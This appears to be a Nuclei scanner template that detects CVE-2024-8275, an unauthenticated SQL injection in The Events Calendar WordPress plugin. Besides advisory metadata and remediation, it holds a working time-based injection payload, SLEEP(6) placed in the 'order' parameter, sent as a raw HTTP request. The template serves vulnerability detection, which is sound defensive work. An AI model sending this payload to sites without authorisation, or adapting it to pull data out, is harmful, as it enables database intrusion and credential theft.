id: CVE-2024-8275 info: name: The Events Calendar <= 6.6.4 - SQL Injection author: DhiyaneshDk severity: critical description: | The Events Calendar plugin for WordPress through 6.6.4 is vulnerable to unauthenticated SQL injection via the `order` parameter. On a site whose theme or integration forwards the request `order` value into the events query (tribe_get_events()) with a non-past display, the value reaches the ORDER BY clause without being constrained to ASC/DESC, allowing an unauthenticated attacker to inject arbitrary SQL and read sensitive data from the database. This template confirms the flaw with a time-based payload that delays the response only when the injected SQL executes. impact: | Unauthenticated extraction of arbitrary data from the WordPress database, including user credentials and other sensitive information. remediation: | Update The Events Calendar to 6.6.4.1 or later, which constrains the order value to ASC/DESC. reference: - https://nvd.nist.gov/vuln/detail/CVE-2024-8275 - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/the-events-calendar/the-events-calendar-664-unauthenticated-sql-injection-via-orderby - https://github.com/advisories/GHSA-v6x4-m48j-jm68 - https://plugins.trac.wordpress.org/changeset?old_path=/the-events-calendar/tags/6.6.4&new_path=/the-events-calendar/tags/6.6.4.1 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-8275 epss-score: 0.69053 epss-percentile: 0.99364 cwe-id: CWE-89 metadata: verified: true max-request: 2 vendor: stellarwp product: the-events-calendar framework: wordpress publicwww-query: "/wp-content/plugins/the-events-calendar/" tags: cve,cve2024,wordpress,wp-plugin,the-events-calendar,sqli,unauth,blind,time-based,vkev flow: http(1) && http(2) http: - raw: - | GET /?post_type=tribe_events&eventDisplay=list&order=ASC HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 matchers-condition: or matchers: - type: word part: header words: - "X-TEC-API-VERSION" internal: true - type: word part: body words: - "the-events-calendar/" internal: true - raw: - | @timeout: 10s GET /?post_type=tribe_events&eventDisplay=list&order=ASC%2c(SELECT(SLEEP(6))) HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 matchers-condition: and matchers: - type: dsl dsl: - "duration >= 6" - type: word part: body words: - "tribe-events" - "the-events-calendar" condition: or - type: status status: - 200 # digest: 4b0a00483046022100b330d0852d862ab89a03aaabeb8722155f88c44656f071b4e62a4996964e81db022100926375e07eb05fef63f803167f185b6a7bdbd6c97d7a08414b077f71d8a69def:922c64590222798bb761d5b6d8e72950